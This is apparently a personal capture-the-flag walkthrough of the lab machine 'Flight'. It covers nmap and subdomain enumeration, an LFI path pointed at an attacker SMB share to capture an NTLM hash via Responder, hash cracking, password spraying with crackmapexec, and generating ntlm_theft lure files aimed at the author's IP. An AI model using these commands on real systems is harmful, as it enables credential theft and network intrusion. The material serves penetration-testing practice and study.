Flight
NMAP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-24 21:49 IST
Nmap scan report for 10.10.11.187
Host is up (0.15s latency).
PORT STATE SERVICE VERSION
53/tcp open domain?
80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
|_http-title: g0 Aviation
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-03-24 23:16:34Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49675/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49676/tcp open msrpc Microsoft Windows RPC
49725/tcp open msrpc Microsoft Windows RPC
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-03-24T23:18:57
|_ start_date: N/A
|_clock-skew: 6h56m59s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 191.34 seconds
/etc/hosts -> 10.10.11.187 flight.htb school.flight.htb g0.flight.htb
PORT 80
Static site it had nothing interesting.
fuzz for subdomains.
wfuzz -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://flight.htb/ -H "Host: FUZZ.flight.htb" --hl 154
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://flight.htb/
Total requests: 100000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000972: 200 90 L 412 W 3996 Ch "school"
school.flight.htb
LFI
I was able to see source of the files from the source code(ctrl+u)
I ll start responder to catch hash if the server reaches out to me.
sudo responder -I tun0
view=//10.10.14.26/hey/asdf
I have already got hashes I ll crack it using hashcat.
hashcat hash /usr/share/wordlists/rockyou.txt
SVC_APACHE:S@Ss!K@*t13
SMB
➜ Flight crackmapexec smb 10.10.11.187 -u SVC_APACHE -p "S@Ss\!K@*t13" --shares
SMB 10.10.11.187 445 G0 [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.187 445 G0 [+] flight.htb\SVC_APACHE:S@Ss!K@*t13
SMB 10.10.11.187 445 G0 [+] Enumerated shares
SMB 10.10.11.187 445 G0 Share Permissions Remark
SMB 10.10.11.187 445 G0 ----- ----------- ------
SMB 10.10.11.187 445 G0 ADMIN$ Remote Admin
SMB 10.10.11.187 445 G0 C$ Default share
SMB 10.10.11.187 445 G0 IPC$ READ Remote IPC
SMB 10.10.11.187 445 G0 NETLOGON READ Logon server share
SMB 10.10.11.187 445 G0 Shared READ
SMB 10.10.11.187 445 G0 SYSVOL READ Logon server share
SMB 10.10.11.187 445 G0 Users READ
SMB 10.10.11.187 445 G0 Web READ
Enumerating all the shares I did not find anything interesting, So I tried for password reuse.
➜ Flight crackmapexec smb 10.10.11.187 -u SVC_APACHE -p "S@Ss\!K@*t13" --users
SMB 10.10.11.187 445 G0 [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.187 445 G0 [+] flight.htb\SVC_APACHE:S@Ss!K@*t13
SMB 10.10.11.187 445 G0 [+] Enumerated domain user(s)
SMB 10.10.11.187 445 G0 flight.htb\O.Possum badpwdcount: 1 desc: Helpdesk
SMB 10.10.11.187 445 G0 flight.htb\svc_apache badpwdcount: 0 desc: Service Apache web
SMB 10.10.11.187 445 G0 flight.htb\V.Stevens badpwdcount: 1 desc: Secretary
SMB 10.10.11.187 445 G0 flight.htb\D.Truff badpwdcount: 1 desc: Project Manager
SMB 10.10.11.187 445 G0 flight.htb\I.Francis badpwdcount: 1 desc: Nobody knows why he's here
SMB 10.10.11.187 445 G0 flight.htb\W.Walker badpwdcount: 1 desc: Payroll officer
SMB 10.10.11.187 445 G0 flight.htb\C.Bum badpwdcount: 0 desc: Senior Web Developer
SMB 10.10.11.187 445 G0 flight.htb\M.Gold badpwdcount: 1 desc: Sysadmin
SMB 10.10.11.187 445 G0 flight.htb\L.Kein badpwdcount: 1 desc: Penetration tester
SMB 10.10.11.187 445 G0 flight.htb\G.Lors badpwdcount: 1 desc: Sales manager
SMB 10.10.11.187 445 G0 flight.htb\R.Cold badpwdcount: 1 desc: HR Assistant
SMB 10.10.11.187 445 G0 flight.htb\S.Moon badpwdcount: 0 desc: Junion Web DeveloperSMB 10.10.11.187 445 G0 flight.htb\krbtgt badpwdcount: 1 desc: Key Distribution Center Service Account
SMB 10.10.11.187 445 G0 flight.htb\Guest badpwdcount: 1 desc: Built-in account for guest access to the computer/domain
SMB 10.10.11.187 445 G0 flight.htb\Administrator badpwdcount: 1 desc: Built-in account for administering the computer/domain
crackmapexec smb 10.10.11.187 -u SVC_APACHE -p "S@Ss\!K@*t13" --users > users
cat users | awk '{print $5}' | grep flight
flight.htb\O.Possum
flight.htb\svc_apache
flight.htb\V.Stevens
flight.htb\D.Truff
flight.htb\I.Francis
flight.htb\W.Walker
flight.htb\C.Bum
flight.htb\M.Gold
flight.htb\L.Kein
flight.htb\G.Lors
flight.htb\R.Cold
flight.htb\S.Moon
flight.htb\krbtgt
flight.htb\Guest
flight.htb\Administrator
Copy it to a wordlist.
➜ Flight crackmapexec smb 10.10.11.187 -u users -p "S@Ss\!K@*t13" --no-bruteforce --continue-on-success
SMB 10.10.11.187 445 G0 [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.187 445 G0 [-] flight.htb\O.Possum:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [+] flight.htb\svc_apache:S@Ss!K@*t13
SMB 10.10.11.187 445 G0 [-] flight.htb\V.Stevens:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight.htb\D.Truff:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight.htb\I.Francis:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight.htb\W.Walker:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight.htb\C.Bum:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight.htb\M.Gold:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight.htb\L.Kein:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight.htb\G.Lors:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight.htb\R.Cold:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [+] flight.htb\S.Moon:S@Ss!K@*t13
SMB 10.10.11.187 445 G0 [-] flight.htb\krbtgt:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight.htb\Guest:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight.htb\Administrator:S@Ss!K@*t13 STATUS_LOGON_FAILURE
I will check if s.moon user can do any thing extra with smb shares.
➜ Flight crackmapexec smb 10.10.11.187 -u s.moon -p "S@Ss\!K@*t13" --shares
SMB 10.10.11.187 445 G0 [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.187 445 G0 [+] flight.htb\s.moon:S@Ss!K@*t13
SMB 10.10.11.187 445 G0 [+] Enumerated shares
SMB 10.10.11.187 445 G0 Share Permissions Remark
SMB 10.10.11.187 445 G0 ----- ----------- ------
SMB 10.10.11.187 445 G0 ADMIN$ Remote Admin
SMB 10.10.11.187 445 G0 C$ Default share
SMB 10.10.11.187 445 G0 IPC$ READ Remote IPC
SMB 10.10.11.187 445 G0 NETLOGON READ Logon server share
SMB 10.10.11.187 445 G0 Shared READ,WRITE
SMB 10.10.11.187 445 G0 SYSVOL READ Logon server share
SMB 10.10.11.187 445 G0 Users READ
SMB 10.10.11.187 445 G0 Web READ
He can write on Shared share,
the name suggest that the share is shared among users, so if we can put a malicious file that can reach back to us so we can steal there ntlmv2 hash if someone opens the file, there may be a cron to do this, I ll use this repo
git clone https://github.com/Greenwolf/ntlm_theft.git
cd ntlm_theft
python3 ntlm_theft.py -g all -s 10.10.14.16 -f hey
ls hey
Autorun.inf 'hey-(icon).url' hey.application hey.m3u zoom-attack-instructions.txt
desktop.ini 'hey-(includepicture).docx' hey.asx hey.pdf
'hey-(externalcell).xlsx' 'hey-(remotetemplate).docx' hey.htm hey.rtf
'hey-(frameset).docx' 'hey-(stylesheet).xml' hey.jnlp hey.scf
'hey-(fulldocx).xml' 'hey-(url).url' hey.lnk hey.wax
I ll upload these files to the target an hope someone opens these files.